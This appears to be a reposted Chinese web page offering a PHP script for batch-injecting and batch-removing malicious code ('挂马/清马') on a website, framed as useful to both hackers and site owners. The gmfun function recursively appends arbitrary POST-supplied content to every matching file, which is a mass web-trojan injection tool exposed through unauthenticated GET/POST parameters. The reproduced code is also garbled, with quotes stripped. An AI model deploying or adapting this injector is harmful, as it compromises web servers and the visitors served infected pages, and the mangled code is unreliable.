批量挂马和批量清马程序 PHP 版, 所以黑客工具的对立性, 在黑客手里是破坏工具, 在维护的站长来说是修正工具
代码如下:
- function gmfun($path=.)
- {
- $d = @dir($path);
- while(false !== ($v = $d->read())) {
- if($v == . || $v == ..) continue;
- $file = $d->path./.$v;
- if(@is_dir($file)) {
- gmfun($file);
- } else {
- if(@ereg(stripslashes($_POST["key"]),$file)) {
- $mm=stripcslashes( trim( $_POST[mm] ) );
- $handle = @fopen ($file, a);
- @fwrite($handle, $mm);
- @fclose($handle);
echo 已挂马文件:$file\n
- ;
- }
- }
- }
- $d->close();
- echo ;
- }
- function qmfun($path=.)
- {
- $d = @dir($path);
- while(false !== ($v = $d->read())) {
- if($v == . || $v == ..) continue;
- $file = $d->path./.$v;
- if(@is_dir($file)) {
- qmfun($file);
- } else {
- if(@ereg(stripslashes($_POST["key"]),$file)) {
- $mm=stripcslashes( trim( $_POST[mm] ) );
- $handle = fopen ($file, rb);
- $oldcontent=fread($handle,filesize($file));
- fclose($handle);
- $newcontent=str_replace($mm,,$oldcontent);
- $fw = fopen ($file, wb);
- fwrite($fw,$newcontent,strlen($newcontent));
- fclose($fw);
echo 已清马文件:$file\n
- ;
- }
- }
- }
- $d->close();
- echo ;
- }
- if ($_GET['action']=='gm') {
- set_time_limit(0);
- gmfun($_POST["dir"]);
- }
- if ($_GET['action']=='qm') {
- set_time_limit(0);
- qmfun($_POST["dir"]);
- }
- ?>
- ?action=gm method=post>
来源: https://www.php1.cn/detail/php-ab25ad8adf.html